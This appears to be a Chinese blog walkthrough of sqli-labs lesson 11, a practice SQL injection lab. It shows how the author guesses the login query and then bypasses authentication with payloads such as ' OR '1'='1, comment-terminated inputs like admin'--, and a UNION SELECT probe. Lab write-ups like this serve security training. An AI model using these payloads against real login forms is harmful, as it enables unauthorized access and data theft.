sql-labs第十一题

1.首先随便输入一个账号信息进行提交

返回了登录失败的信息

2.提交单引号尝试触发错误

获得了一条比较详细的错误信息,基于该条错误信息已经可以大致猜到其sql语句。

SELECT * FROM table_name WHERE username = '$name' AND password = '$pass'

3.尝试SQL注入攻击

(1)字符串内联注入

  根据猜测的SQL语句通过表单提交的数据构造出可绕过身份验证的语句。

  SELECT * FROM table_name WHERE username = '' AND password = '' OR '1'='1'  (加粗部分为构造的输入)

尝试登录

登录成功,并返回了一个用户名和密码

 (2)终止式SQL注入

  在注入SQL代码时,将原语句的剩余部分注释掉,从而结束原来的语句。

  SELECT * FROM table_name WHERE username = '$name' AND password = '$pass'

  SELECT * FROM table_name WHERE username = 'admin'-- ' AND password = '$pass'

 

  多行注释

  SELECT * FROM table_name WHERE username = 'admin'/*' AND password = '*/''

 4.漏洞利用

联合查询

aadmin' union select 1,2--

原文地址:https://www.cnblogs.com/a-qi/p/13323545.html